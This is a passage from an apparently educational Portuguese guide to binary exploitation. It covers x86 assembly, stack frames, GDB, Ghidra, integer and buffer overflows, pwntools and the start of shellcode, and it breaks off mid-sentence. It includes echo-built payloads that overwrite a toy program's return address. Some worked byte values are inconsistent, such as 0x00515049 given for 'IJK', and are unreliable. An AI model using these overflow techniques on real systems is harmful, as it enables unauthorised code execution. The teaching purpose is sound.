PUSH - push eax * Coloca eax na stack. * POP - pop eax * Tira o endereço do topo da stack e salva em eax. * CMP - cmp eax, ebx * if (eax == ebx) seta eflags; * JNE - jne 0x400086 * Pula para o endereço dado se eflags foi setado como igual. * CALL - call 0x400086 * Pula para o endereço dado e salva a localização atual na stack. Equivalente às instruções: * push rip * jump 0x400086 * RET - ret * Tira o endereço da stack e retorna o controle para aquela localização. * pop rip * LEA - lea eax, \[esp+0x1c] * Move o endereço do registrador para outro. Usado para passar parâmetros para funções. * LEAVE - leave * Move ebp para esp e tira ebp da stack. # Hello World em x86 Explicação de um Hello World em Assembly x86 Usando códigos como exemplo, é recomendável antes de mais nada entender conceitos básicos do Assembly x86, como a instrução `mov`. Usando por exemplo esse programa: ``` ;; Programa Hello World section .text global _start _start: mov edx,len ;comprimento da mensagem mov ecx,msg ;mensagem a ser escrita mov ebx,1 ;descritor de arquivo (stdout) mov eax,4 ;número da system call ; (sys_write) int 0x80 ;call kernel mov eax,1 ;numero da syscall ; (sys_exit) int 0x80 ;call kernel section .data msg db 'Hello, world!',0xa ;nossa string lindona len equ $ - msg ;comprimento da lindona ``` ### **Entendendo o código** Inicia com um comentário, marcado a partir de um `;` como você pode ver. É necessário especificar seções do código. Uma vez que o Assembly vai ser carregado diretamente na memória, você precisa especificar o que é o fragmento `text` (instruções) e o que é o fragmento `data` (código não executável, usado para guardar strings e algumas variáveis, etc.). Como vocẽ pode ver, define-se um rótulo (label na forma culta) global `_start`. Isso é necessário para ser possível definir o ponto de entrada do código (É um rótulo padrão). Vamos olhar agora a seção `.data`. Primeiramente ela declara um "define byte" (`db`) que nós chamamos de `msg`, com a string que queremos imprimir, juntamente com `0xa`, que é o caractere de nova linha, (equivalente ao `\n` no C, por exemplo). Na próxima linha, definimos uma variável `len` que representa o comprimento da string, isto é, o endereço atual da memória onde está a instrução (representado por `$`) subtraído do começo da string (`msg`). Voltando agora para o rótulo `_start` (também chamado de função nesse caso), nas primeiras 4 linhas nós acabamos de armazenar as variáveis nos registradores `edx` e `ecx`, depois nós colocamos o valor 1 em `ebx` e 4 em `eax`. Isso significa que, uma vez que queremos escrever alguma coisa na `stdout` (ou saída padrão), nós usamos a syscall `write`, que pede o argumento `fd` (descritor de arquivo) passado no registrador `ebx` como uma convenção, como visto em [System Calls Reference](https://syscalls.kernelgrok.com/). Então a `int`errupção 0x80 será chamada (isso é uma *syscall*), que irá imprimir "Hello, world!" no terminal. No final, o registrador `eax` terá o valor 1, significando a *syscall* "exit". Então será chamado através de `int 0x80`, saindo do programa. No caso de nós quisermos colocar um `return 0` no final do código, nós poderíamos colocar apenas `mov ebx, 0` logo antes da syscall. ### **Compilando e testando o código** Para montar códigos Assembly x86, uma boa maneira é usar o montador [nasm](https://nasm.us/). Supondo que temos um código `hello.asm`, podemos montá-lo com ```bash nasm -f elf hello.asm ``` Fazendo isso nós especificamos que o formato do arquivo será um `elf` (32bits) e um novo objeto `hello.o` será produzido. Ainda assim, esse não é nosso arquivo executável. Para fazer um ainda precisamos utilizar o comando `ld` (link-editor) para ligar o objeto com as bilbiotecas do sistema, o que pode ser feito facilmente: ```bash ld -s -o hello hello.o -m elf_i386 ``` Isso simplesmente liga o objeto gerado para um executável `hello`, que tem o formato `elf_i386`. No caso de qualquer erro acontecer, verifique se você tem `32bits glibc` no seu sistema operacional. Então, execute-o simplesmente usando ```bash ./hello ``` E é isso, temos nosso Hello World! OwO ### Referências * [Linux System Calls Reference](https://syscalls.kernelgrok.com/) * [x86 Hello World](http://asm.sourceforge.net/intro/hello.html) * [nasm](https://nasm.us/) # Pilha A stack, como o nome diz, é uma pilha. Pode-se imaginar como uma pilha de pratos ou uma pilha de caixas. As operações básicas de uma pilha são empilhar, desempilhar e checar seu topo. Para entender a stack, é importante saber essas duas primeiras operações. Quando empilha-se algo em uma pilha, coloca-se o novo elemento em cima. Caso vá desempilhar, retira-se o elemento mais ao topo. Agora vamos ver como isso se aplica na memória stack: ``` +------------------+ | Stack | <-- RSP | Frame | +------------------+ | RBP antigo | <-- RBP +------------------+ | RIP antigo | +------------------+ ``` Na memória stack, há dois registradores que realizam operações nela. Eles são o `RSP` (ou ESP para sistemas de 32-bits) e o `RBP` (ou EBP para sistemas de 32-bits). * O RSP é o *stack pointer* e sua função é guardar o endereço do topo da pilha. * O RBP é o *base pointer* e sua função é guardar o endereço da base da pilha. Com esses dois registradores, é possível saber onde a pilha começa e onde ela termina. Outro registrador importante de se ter conhecimento é o `RIP` (ou EIP). Quando estamos executando um programa, ele está carregado na memória RAM. Para saber qual endereço devemos executar, utiliza-se o RIP, o *instruction pointer*. Quando uma função é chamada, é possivel ver no assembly da função que a chamou que há a seguinte linha de código: ``` call ``` Nesse caso, é o endereço dessa função na memória RAM. O endereço pode ser representado pelo rótulo (nome) da função em assembly e é o que iremos encontrar na maioria dos casos caso olharmos o assembly do código no GDB. Essa linha faz duas ações: ``` Empilha o RIP atual na stack RIP = ``` É necessário guardar o RIP atual na stack, pois ao chamar uma função, estamos no meio da execução de uma outra função. Quando acabarmos de executar essa nova função, queremos saber exatamente onde estavamos para continuar o que estavamos fazendo. Considerando o desenho da stack acima, caso executarmos o `call`, a stack ficará assim: ``` Stack antes do call | Stack depois do call | +------------------+ | | RIP anterior | <-- RSP +------------------+ | +------------------+ | Stack | <-- RSP | | Stack | | Frame | | | Frame | +------------------+ | +------------------+ | RBP antigo | <-- RBP | | RBP antigo | <-- RBP +------------------+ | +------------------+ | RIP antigo | | | RIP antigo | +------------------+ | +------------------+ ``` Depois disso, se olharmos as primeiras duas linhas do assembly da nova função, veremos as seguintes linhas: ``` push rbp # Empilha o RBP mov rbp, rsp # RBP = RSP ``` Quando chamamos uma função, criamos uma "nova stack" em cima da nossa stack. Para isso, o endereço do topo atual (RSP) é atribuido a nova base (RBP). Porém, se apenas fizermos a atribuição, perderemos a referência de onde estava a base da stack anterior quando formos voltar a função anterior. Por isso, antes de atribuir, empilhamos o endereço da base atual (RBP) na stack. Visualmente, ocorrerá o seguinte: ``` Stack depois do call | Stack após o push | +------------------+ | | RBP anterior | <-- RSP +------------------+ | +------------------+ | RIP anterior | <-- RSP | | RIP anterior | +------------------+ | +------------------+ | Stack | | | Stack | | Frame | | | Frame | +------------------+ | +------------------+ | RBP antigo | <-- RBP | | RBP antigo | <-- RBP +------------------+ | +------------------+ | RIP antigo | | | RIP antigo | +------------------+ | +------------------+ ``` Ao fazer a atribuição: ``` Stack após o push | Stack após atribuição +------------------+ | +------------------+ <-- RSP | RBP anterior | <-- RSP | | RBP anterior | <-- RBP +------------------+ | +------------------+ | RIP anterior | | | RIP anterior | +------------------+ | +------------------+ | Stack | | | Stack | | Frame | | | Frame | +------------------+ | +------------------+ | RBP antigo | <-- RBP | | RBP antigo | +------------------+ | +------------------+ | RIP antigo | | | RIP antigo | +------------------+ | +------------------+ ``` Para finalizar, caso a nova função utilize variáveis locais, será alocado o número de bytes necessário para essas variáveis, criando um espaço chamado *stack frame*. Para fins ilustrativos, considere uma função que utilize 16 bytes para variáveis locais, ou seja, 0x10 bytes em hexadecimal. Seguido do push e do mov (atribuição), haverá a seguinte linha: ``` sub rsp, 0x10 ``` Como a stack cresce "para baixo", ou seja, do maior endereço para o menor endereço, ao subtrair um valor do *stack pointer*, estamos deixando o RSP mais "alto" na pilha. Portanto, essa linha teria o seguinte efeito: ``` Stack após atribuição | Stack após alocação | +------------------+ | | | <-- RSP | | Stack | | | Frame | | | | +------------------+ <-- RSP | +------------------+ | RBP anterior | <-- RBP | | RBP anterior | <-- RBP +------------------+ | +------------------+ | RIP anterior | | | RIP anterior | +------------------+ | +------------------+ | Stack | | | Stack | | Frame | | | Frame | +------------------+ | +------------------+ | RBP antigo | | | RBP antigo | +------------------+ | +------------------+ | RIP antigo | | | RIP antigo | +------------------+ | +------------------+ ``` Agora que está alocado, podemos atribuir valores a essas variáveis locais. Para fins didáticos, vamos imaginar que essa stack está em um sistema de 64-bits e queremos colocar nesses 16 bytes um `int` (4 bytes) e uma `string` de 4 caracteres (incluindo o '\0'). No caso da string, será necessário criar um ponteiro `char*` (8 bytes para sistemas 64-bits) e o espaço dos 4 caracteres, totalizando 12 bytes para a string. As variáveis locais dessa função serão: ``` int var1 = 500; char var2[4]; ``` Vamos considerar também que RBP = 0x7fffffffffff1000 e RSP = 0x7fffffffffff0ff0. O código em assembly para essas atribuições é: ``` mov DWORD PTR[rbp-0x10],0x1f4 # 0x1f4 == 500 mov DWORD PTR[rbp-0xc],0x7fffffffffff0ffc # 0x7fffffffffff0ffc == RBP-0x4 ``` Ao redesenhar a stack: ``` Stack após alocação | Stack após atribuição +------------------+ | +------------------+ | | <-- RSP | | 0x000001f4 | <-- RSP | Stack | | | 0xffff0ffc | | Frame | | | 0x7fffffff | | | | | 0x???????? | +------------------+ | +------------------+ | RBP anterior | <-- RBP | | RBP anterior | <-- RBP +------------------+ | +------------------+ | RIP anterior | | | RIP anterior | +------------------+ | +------------------+ | Stack | | | Stack | | Frame | | | Frame | +------------------+ | +------------------+ | RBP antigo | | | RBP antigo | +------------------+ | +------------------+ | RIP antigo | | | RIP antigo | +------------------+ | +------------------+ ``` A região marcada por `0x????????` é o lixo de memória que está na região da string, já que ainda nao escrevemos nada nela. Perceba que o ponteiro *char\** está escrito de trás para frente. Isso é porque a maioria das arquiteturas hoje em dia seguem o modelo *little-endian*, em que se escreve os bytes do byte menos significativo para o mais significativo. Por enquanto não precisam se preocupar com isso, veremos novamente mais para frente. Por fim, vamos encerrar essa nova função. No fim de uma função, haverá as seguintes linhas: ``` leave ret ``` A linha `leave` executa as seguintes operações: ``` RSP = RBP Desempilha o RBP antigo para RBP ``` A linha `ret` desempilha o RIP anterior para RIP. Portanto, visualmente: ``` Stack após atribuição | Stack após leave +------------------+ | | 0x000001f4 | <-- RSP | 0x000001f4 | 0xffff0ffc | | 0xffff0ffc | 0x7fffffff | | 0x7fffffff | 0x???????? | | 0x???????? +------------------+ | | RBP anterior | <-- RBP | RBP anterior +------------------+ | +------------------+ | RIP anterior | | | RIP anterior | <-- RSP +------------------+ | +------------------+ | Stack | | | Stack | | Frame | | | Frame | +------------------+ | +------------------+ | RBP antigo | | | RBP antigo | <-- RBP +------------------+ | +------------------+ | RIP antigo | | | RIP antigo | +------------------+ | +------------------+ ``` ``` Stack após leave | Stack após ret | 0x000001f4 | 0x000001f4 0xffff0ffc | 0xffff0ffc 0x7fffffff | 0x7fffffff 0x???????? | 0x???????? | RBP anterior | RBP anterior +------------------+ | | RIP anterior | <-- RSP | RIP anterior +------------------+ | +------------------+ | Stack | | | Stack | <-- RSP | Frame | | | Frame | +------------------+ | +------------------+ | RBP antigo | <-- RBP | | RBP antigo | <-- RBP +------------------+ | +------------------+ | RIP antigo | | | RIP antigo | +------------------+ | +------------------+ ``` O conteúdo da stack permanece como lixo de memória após o retorno da função. E assim, encerramos a chamada da nova função. # GDB Um manual de referência para o gdb Gdb é o acrônimo para Gnu Project Debugger. Ele é, como o nome diz, um debugger (depurador), que pode ser utilizado em engenharia reversa para obter o assembly e analisar arquivos binários. ### Rodando e obtendo o Assembly (Disassembling) Para abrir o programa, execute: ``` gdb nomeDoPrograma ``` Por padrão, o gdb utiliza a sintaxe AT\&T. Como nós vamos utilizar principalmente a sintaxe da Intel, podemos alterar usando: ``` set disassembly-flavor intel ``` Para obter o assembly de uma função (por exemplo, a 'main'), devemos usar: ``` disassemble main ``` É importante notar que o programa será mostrado do jeito que está em memória, porém podemos utilizar outros softwares para visualizar melhor o fluxo do programa. ### GDB - Principais Comandos Apertar somente 'Enter' é equivalente a digitar e rodar o último comando novamente. (é bem útil quando precisamos repetir o mesmo comando diversas vezes). #### Controle de Fluxo * `run arg1, arg2...` ``` Roda o programa, passando os argumentos arg1, arg2... (pode ser utilizado sem os argumentos também) ``` * `break *address` ``` Define um breakpoint no endereço dado. Pode também ser utilizado passando o nome da função ao invés do endereço ``` * `del` ``` Remove todos os breakpoints ``` * `si` ``` Executa a instrução atual ``` * `ni` ``` Igual o si, porém não mostra a execução de chamadas de função (caso a instrução seja uma chamada de função, ele continua executando até o retorno da chamada) ``` * `set $eax=x` ``` Define o valor do registrador $eax por exemplo$ para o valor dado 'x' ``` * `define hook-stop` ``` Define uma ação para acontecer sempre que a execução parar (um 'stop'), como o exemplo: ``` ``` define hook-stop info registers x/24wx $esp x/2i $eip end ``` #### Registradores * `info registers` ``` Mostra o valor dos registradores do programa ``` * `x/wx $reg` ``` Mostra o conteúdo de "reg" em hexadecimal ``` * `x/s $reg` ``` Mostra o conteúdo de "reg" em ascii ``` * `x/24wx $esp` ``` Mostra parte da stack do programa $24 words, no exemplo$ ``` * `x/2i $eip` ``` Mostra as próximas duas instruções ``` * `x NomeDaFunção` ``` Mostra o endereço da função ``` * `p NomeDaFunção` ``` Mostra o endereço e o tipo de retorno da função ``` * `info proc mappings` ``` Mostra o mapa da memória ``` # Ghidra ## O que é? O Ghidra é uma ferramenta open source para a engenharia reversa feita pela agência de segurança nacional dos EUA (NSA) e disponibilizada para o público em 2019. A ferramenta pode ser baixada pelo [site oficial ](https://ghidra-sre.org/)ou pelo [github](https://github.com/NationalSecurityAgency/ghidra), onde parte do código se encontra. Uma das grandes vantagens do Ghidra é a ferramenta de *decompile*, que permite que seja visualizado um código "descompilado" de um binário. Essa ferramenta suporta diversas arquiteturas nativamente e existem alguns plugins para adicionar suporte de outras. Usualmente os binários que serão analisados vão ser das linguagens C/C++, mas também é possível analisar por exemplo binários escritos em Golang, análise que funciona melhor caso tenha plugins específicos para isso. O Ghidra funciona tanto para Linux como para Windows (p/ Mac também), sem alterações significativas no seu funcionamento básico. ## Criando um novo Projeto A tela inicial do ghidra é algo semelhante à tela a seguir: ![](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2F-M8kSrubWndbCy8wSMdd%2F-M8kUbQDjP682VBICT_V%2Fimage.png?alt=media\&token=7fd9059a-59b2-43a2-8220-4a14d1e4d78d) Para criar um novo projeto basta selecionar a opção de novo projeto e criar um não compartilhado (dado que a versão compartilhada é feita para ser usada por múltiplos usuários simultaneamente em um servidor), escolher um nome, caminho e criar. Vai ser criada uma pasta, então você arrasta um binário ou o importa (tecla de atalho i). O formato tende a ser identificado automaticamente, então basta confirmar as seleções, onde uma nova tela vai abrir com diversas informações sobre os metadados do executável. Abra o codebrowser (ou clique 2 vezes no executável) e vá para a tela inicial. Quando iniciar, clique em analisar para que seja possível obter informações do binário de forma automática. Recomendamos dar uma olhada em cada uma das opções e tentar entender o que elas significam, mas para um uso básico basta deixar tudo na opção padrão. Uma das janelas mais importantes do programa encontra-se na esquerda, que é onde estarão listadas as funções. Procure pela main ou por funções interessantes, quando selecionar a função que quiser ela automaticamente vai aparecer na tela. ![Janela de símbolos, onde encontram-se as funções](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2F-M8kSrubWndbCy8wSMdd%2F-M8kWLcGQX4LxR83yVAb%2Fimage.png?alt=media\&token=4ea098de-08dd-4ccf-965f-e7040244453c) ![O disassembly na tela da esquerda e o código decompilado na tela da direita](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2F-M8kSrubWndbCy8wSMdd%2F-M8kWjqmgfIq8EWuy5Eg%2Fimage.png?alt=media\&token=1b61f132-79fe-4c45-bec2-8d30ab227e9e) As hotkeys estarão na cheatsheet abaixo, mas já saiba que as mais importantes agora no início são L, que serve para renomear objetos selecionados e Ctrl+L, para ajeitar um tipo. (Por exemplo representar várias variáveis seguidas como um vetor) Clicando duas vezes em uma função entra-se no código dela e Alt+Left volta para o local anterior.\ Caso queira desfazer alguma operação, o clássico Ctrl+Z é utilizado. ## Cheatsheet Abaixo estão algumas imagens de um cheatsheet (uma "colinha") com as hotkeys mais importantes. ### Load/Import Essa tabela apresenta as hotkeys para criar, abrir e salvar projetos, além de importar e exportar binários. ![Load Project](https://i.imgur.com/OBrbE8a.png) ### Navegação Essas são as hotkeys para se movimentar pelo código. (menção pra Alt+Left/Right para voltar ou avançar para locais onde estava anteriormente) ![Navigation](https://i.imgur.com/kYmuMpU.png) ### Marcação (Markup) Essas hotkeys são muito importantes para deixar o código mais organizado e legível, alterar nome e tipo de variáveis pode deixar um trecho de código bem mais claro. ![Markup1](https://i.imgur.com/YqylOj9.png) ![Markup2](https://i.imgur.com/8e3xSW9.png) ### Pesquisa/Busca Essas hotkeys são utilizados para fazer buscas no programa, tanto no código (texto), quanto na memória. ![Search](https://i.imgur.com/npi0O8u.png) ### Ajuda/Configurações Essas são as hotkeys para alterar configurações do ghidra, além da hotkey para o *Help*, que tem informações e explicações de como utilizar o ghidra. ![Help](https://i.imgur.com/OOKxuXA.png) Link do Cheatsheet completo: # Pwning Pwning, ou "pwn", é uma giria que vem da escrita errada da palavra inglesa "own", visto que as teclas "o" e "p" são próximas. Ela é utilizada com o significado de tomar controle de algum sistema. Isso envolve a exploração de certos comportamentos anômalos presentes em um sistema, como por exemplo um overflow ou um acesso indevido. # Integer Overflow Uma das anomalias mais simples que talvez possa ser explorada é o Integer Overflow. Quando um inteiro é somado muitas vezes, seu número pode ultrapassar sua capacidade de representação. Por exemplo, um inteiro de 4 bytes pode representar do número `-2147483648` ao `2147483647`. Se somarmos 1 a um inteiro de 4 bytes com valor `2147483647`, ele se tornará `-2147483648` por causa da sua representação em complemento de 2 e esse comportamento é chamado de **Integer Overflow**. O comportamento oposto que acontece ao subtrair 1 de `-2147483648` é chamado de **Integer Underflow**. Uma forma de explorar esse comportamento é caso esse inteiro esteja sendo usado como um *offset* de alguma posição de memória ou uma expressão condicional (if). Fazendo um Integer Overflow, você pode ter acesso a uma posição de memória que o programa não permitia, ou ultrapassar alguma checagem de uma forma não pretendida. Em geral, um Integer Overflow é uma vunerabilidade bem simples, e na maioria dos casos, não é possível explorar muito com ele. Mas uma forma de overflow bem mais perigosa que o Integer Overflow é o Buffer Overflow, que veremos a seguir. # Buffer Overflow ## Buffer Overflow Buffer Overflow, também chamado de *Buffer Overrun*, é uma anomalia em um programa em que, ao escrever dados em um buffer (armazenamento temporário de dados), a escrita ultrapassa o tamanho do buffer e começa a escrever nos espaços adjacentes. Quando começamos a programar em C, é muito comum usarmos o seguinte *statement* para ler strings: `scanf("%s", str);` Porém, quando usamos dessa forma, não especificamos quantos caracteres devemos ler. Se lermos uma quantidade de caracteres maior que o tamanho da alocação que fizemos para o buffer da string, nosso programa pode se comportar de formas estranhas, como por exemplo causar um erro chamado **segmentation fault**. ### Segmentation Fault Segmentation fault (falha de segmentação), também conhecido como *segfault* ou *access violation*, é uma falha causada por um acesso indevido a uma posição de memória protegida. Os segmentos de memória possuem diferentes tipos de permissões atreladas a elas. Os três tipos de permissão são: * Leitura (Read) * Escrita (Write) * Execução (Execution) Caso o programa tente acessar um segmento da memória sem a devida permissão, ocorre o *segfault*. Por exemplo, digamos que uma certa região da memória está marcada para apenas leitura. Se o programa tentar escrever algo nessa região da memória, será causado o *segmentation fault*. ### Algumas funções comuns em C que permitem Buffer Overflow * scanf() com %s e suas variações * gets() * strcpy() * strcat() * sprintf() Lembrando também que funções supostamente seguras como fgets() com um limite de caracteres errado também pode causar buffer overflow. ### Tipos de Buffer Overflow Há certas peculiaridades do local da memória em que o buffer está armazenado que podem causar comportamentos especiais em um buffer overflow. Note que a organização desses locais pode variar dependendo da implementação. #### Stack Buffer Overflow Um ataque de buffer overflow na stack costuma utilizar certas características da stack, como por exemplo ela crescer para baixo e possuir o endereço de retorno da função salvo na chamada da função. Essa última característica pode permitir que um ataque de buffer overflow possa mudar o fluxo do programa e até executar código arbitrário. #### Heap Overflow Heap Overflow, conhecido também como *Heap Overrun*, é um buffer overflow na memória Heap. Ataques de heap overflow costumam involver a corrupção de valores do cabeçalho de chunks (regiões de memória alocadas ou desalocadas) da heap. ## Stack Buffer Overflow Vamos ver o que um buffer overflow na stack pode causar de comportamento anômalo. ``` int var1 = 500; char var2[4]; ``` ``` +------------------+ | 0x000001f4 | <-- RSP | 0xffff0ffc | | 0x7fffffff | | 0x???????? | +------------------+ | RBP anterior | <-- RBP +------------------+ | RIP anterior | +------------------+ | Stack | | Frame | +------------------+ | RBP antigo | +------------------+ | RIP antigo | +------------------+ ``` Utilizando essa chamada como exemplo, em que `RBP = 0x7fffffffffff1000` e `RSP = 0x7fffffffffff0ff0`, se antes da função retornar, fosse lido um valor para a string, a stack estaria assim: ``` Leitura de 3 caracteres 'A' (0x41) finalizado com '\0' +------------------+ | 0x000001f4 | <-- RSP | 0xffff0ffc | | 0x7fffffff | | 0x00414141 | +------------------+ | RBP anterior | <-- RBP +------------------+ | RIP anterior | +------------------+ | Stack | | Frame | +------------------+ | RBP antigo | +------------------+ | RIP antigo | +------------------+ ``` O espaço de memória para a string que havia sido alocada e continha lixo agora passa a guardar 3 'A' e um '\0', ou seja, 0x00414141. Mas se estivermos lendo com o seguinte *statement*: `scanf("%s", var2);` ...não estamos especificando o número máximo de caracteres a serem lidos. O que aconteceria se alguem digitasse "ABCDEFG"? **Tabela ASCII:** | Caractere | Hexadecimal | | :-------: | :---------: | | '\0' | 0x00 | | 'A' | 0x41 | | 'B' | 0x42 | | 'C' | 0x43 | | 'D' | 0x44 | | 'E' | 0x45 | | 'F' | 0x46 | | 'G' | 0x47 | Memória: ``` +------------------+ | 0x000001f4 | <-- RSP | 0xffff0ffc | | 0x7fffffff | | 0x44434241 | +------------------+ | 0x00474645 | <-- RBP +------------------+ | RIP anterior | +------------------+ | Stack | | Frame | +------------------+ | RBP antigo | +------------------+ | RIP antigo | +------------------+ ``` Como podemos ver, a posição de memória que guardava o RBP anterior foi corrompida. Se retornassemos da função, o RBP iria para a posição `0x00474645`, o que talvez possa causar problemas na execução do programa. E se colocassemos mais 4 caracteres? Para a string "ABCDEFGHIJK", teriamos: ``` +------------------+ | 0x000001f4 | <-- RSP | 0xffff0ffc | | 0x7fffffff | | 0x44434241 | +------------------+ | 0x48474645 | <-- RBP +------------------+ | 0x00515049 | +------------------+ | Stack | | Frame | +------------------+ | RBP antigo | +------------------+ | RIP antigo | +------------------+ ``` Nós corrompemos agora o endereço de retorno (RIP anterior) também. Mas espera, então após retornar dessa função, será executado a instrução com o endereço `0x00515049`? **Exatamente.** Mas e se essa região não for uma região com permissões para execução? **Nesse caso, teremos um `segmentation fault`.** Agora vamos pensar por outro lado, e se a região para qual o RIP foi mandado for uma região executável, como por exemplo a região de uma função? **Nesse caso, as instruções nessa região seriam executadas.** Se fizermos uma engenharia reversa do programa e acharmos o endereço das funções, poderiamos executá-las arbitrariamente com um buffer overflow. Porém, provavelmente o endereço conterá caracteres que não conseguiriamos escrever com um teclado, como por exemplo os caracteres da tabela ASCII de 0 a 31. Nesse caso, poderiamos usar o comando `echo` para escrever esses bytes. Vamos tentar escrever "ABC" usando o `echo` e as representações dos três caracteres em hexadecimais. Pela tabela ASCII, 'A' é o caractere `0x41`, 'B' é o `0x42` e 'C' é o `0x43`. O comando `echo` no Terminal para imprimir esses três caracteres seria o seguinte: `echo -ne '\x41\x42\x43'` * `echo` imprime a mensagem passada como argumento * `-e` permite o uso de caracteres de escape com o `\`, igual strings em C * `-n` faz com que ele não termine com um `\n` Juntando `-e` e `-n` forma o `-ne`. Assim como em C, para representarmos um caractere de escape dado em hexadecimal, usamos `\x` seguido do número hexadecimal dele. Um detalhe que precisamos nos atentar ao escrever um endereço ou qualquer outro dado que não seja uma string é que esse dado provavelmente deve estar na representação **little-endian**. Little-endian é uma representação que começa do byte menos significativo para o mais significativo. Por exemplo, uma representação do inteiro `1` na memória seria `0x00000001`. Porém, o processador leria e escreveria os bytes na seguinte ordem: `0x01` `0x00` `0x00` `0x00` Portanto, para escrever um dado como `0x01234567`, teríamos que escrever os bytes na seguinte ordem: `0x67` `0x45` `0x23` `0x01` Para escrever esse dado usando `echo`, fariamos assim: `echo -ne '\x67\x45\x23\x01'` No exemplo anterior, se quisessemos que o endereço de retorno fosse `0x01234567`, teríamos que escrever qualquer coisa nos 4 bytes do buffer e nos 4 bytes do RBP anterior e por fim escrever o endereço em si. O comando seria: `echo -ne 'AAAAAAAA\x67\x45\x23\x01'` Para redirecionar a saida do echo para a entrada do programa (stdin), poderiamos usar o `|`. Assim: `echo -ne 'AAAAAAAA\x67\x45\x23\x01' | ./meuprograma` Ou também escrever esses dados a serem enviados (payload) em um arquivo e redirecioná-lo para o programa: `echo -ne 'AAAAAAAA\x67\x45\x23\x01' > payload.txt` `./meuprograma < payload.txt` Esse segundo método é especialmente útil quando estamos usando o gdb, já que não conseguimos usar o | dentro dele. No gdb, o comando para redirecionar esse `payload.txt` seria: `run < payload.txt` Dessa forma, temos todas as ferramentas necessárias para explorar um stack buffer overflow. # Pwntools ## O que é Pwntools é um framework para CTFs e desenvolvimento de exploits, escrito em python, com o objetivo principal de agilizar prototipagem e desenvolvimento, mas não tão útil assim caso seja algo mais "profissional". ## Instalando Instalar o pwntools é simples. O requisito básico é ter o python3 e o pip (referente ao python 3) instalado. Caso esteja usando alguma distribuição debian based (ubuntu, kali, debian), os comandos são os seguintes: ```bash apt-get update apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip ``` E, para instalar o pwntools em si: ```bash python3 -m pip install --upgrade pwntools ``` ## Utilização Básica Para utilizar o pwntools, primeiro o importamos com `from pwn import *` e então utilizamos as suas funções como seria feito em python usualmente, por exemplo no código abaixo: ```python from pwn import * # Cria uma comunicação com um processo p = process('./communication') while True: # Recebe uma linha no formato byte array line = p.recvline() # Decoda-se essa linha em UTF-8 (transformando em string) line = line.decode("UTF-8") print(line) # Forma uma lista baseada nessa linha, dividindo no ' ' line = line.split(' ') print(line) result = int(line[0]) * int(line[2]) # Envia uma linha com o resultado obtido # No formato byte array (encodado) p.sendline(str(result).encode()) ``` ## Diferentes Módulos O pwntools tem vários módulos para diferentes funções, no [vídeo ](https://www.youtube.com/watch?v=OAIvkINgCtQ)sobre comunicações focamos principalmente no módulo Tubes, que permite interação entre processos e algumas ferramentas de redes, mas existem outros que são tão utilizados quanto esse. ### Tubes Módulo relacionado a comunicação e ferramentas de redes/interação entre processos. Os principais comandos são: ```python from pwn import * # process(nomeprocesso) - cria um canal de comunicação com um processo p = process('sh') # remote("ip", porta) - cria um canal de comunicação com um servidor r = remote('127.0.0.1', 1337) # a maioria dos comandos de remote e processos são iguais # sendline(bytearray) - Envia um byte array para o servidor p.sendline(b'AAAAA') # recvline() - Recebe uma linha (em bytes) do servidor line = p.recvline() # recvuntil(b'bla') - Recebe e retorna tudo até a string especificada no argumento (inclusive) all = p.recvuntil(b': ') # interactive() - Cria uma sessão interativa (como no terminal) p.interactive() # ssh('user', 'ip', password='senha') - Cria uma sessao de ssh session = ssh('ganesh', 'gitbook.ganeshicmc.com', password='senha123') # p = session.process('sh') ``` ### Utility Utilitários no geral, como manipulação de bytes, hashing e manipulação de arquivos #### Manipulação de números/bytes ```python from pwn import * # pack(inteiro) - transforma um número em bytearray pack(67305985) # retorna b'\x01\x02\x03\x04' # unpack(bytearray) - transforma bytearray em inteiro unpack(b'\x01\x02\x03\x04') # retorna 67305985 # p32(numero) - transforma um número em um bytearray de 32 bits # p64(numero) - transforma um número em um bytearray de 64 bits # levam em conta o contexto (bom para transformar endereços para little endian) p32(0x80044242) # retorna b'BB\x04\x80' (B é 0x42) ``` #### Arquivos ```python from pwn import * # write('nomearquivo', 'dados') # escreve em um arquivo write('oi.txt', 'tudobom') # read('nomearquivo', quantidadeBytes) # lê X caracteres de um arquivo read('oi.txt', 5) # retorna 'tudob' ``` #### Hashing e Encoding ```python # Base64 (decoding e encoding) b64d(b64e('hello')) # retorna hello # Hashes md5sumhex('hello') == '5d41402abc4b2a76b9719d911017c592' write('file', 'hello') md5filehex('file') == '5d41402abc4b2a76b9719d911017c592' sha1sumhex('hello') == 'aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d' # URL Encoding urlencode("Hello, World!") == '%48%65%6c%6c%6f%2c%20%57%6f%72%6c%64%21' # Hex Encoding enhex('hello') # retorna '68656c6c6f' unhex('776f726c64') # retorna 'world' ``` ### Context O módulo context serve para mudar especificações de arquitetura, log, timeout, endianness dos arquivos... que tal dar uma olhada [nele](https://github.com/Gallopsled/pwntools-tutorial/blob/master/context.md)? ### Outros Outros módulos que não vamos falar sobre aqui estão na documentação oficial (e no tutorial) nos links extras. ## Links extras A [documentação ](http://docs.pwntools.com/en/stable/)do pwntools não é muito clara apesar de ter bastante coisa, mas o repositório [pwntools-tutorial](https://github.com/Gallopsled/pwntools-tutorial) funciona como uma boa referência para a biblioteca. # Shellcode Agora que sabemos um método de mudar o fluxo de execução do programa, seria interessante conseguirmos injetar um código arbitrário no programa para executar comandos que o programa original não conseguiria fazer, mas que são interessantes para nós. É aí que entra o **shellcode**. Shellcode nada mais é do que um pedaço de código que usamos como payload, ou seja, dados a serem transmitidos, durante a exploração de uma vunerabilidade com o propósito de ser executado. É chamado de shellcode por normalmente envolver a abertura de uma *shell* durante a execução, mas não é necessariamente limitado a isso. Mas o que seria uma shell? Shell é uma interface entre o usuário e os serviços de um sistema operacional. Elas podem usar uma interface gráfica do usuário (GUI), como o *Windows shell* (que possui o Menu Iniciar, a Barra de Tarefas e diversas outras funcionalidades), ou podem usar uma interface de linha de comando (CLI), como o *bash*, o *sh*, o *zsh*, entre outros que você pode usar a partir de seu *Terminal* ou *Prompt de Comando*. É mais comum se referir a shells de linha de comando como *shell* do que as de interface gráfica, especialmente quando estamos falando de shellcode. Esse tipo clássico de shellcode, que envolve 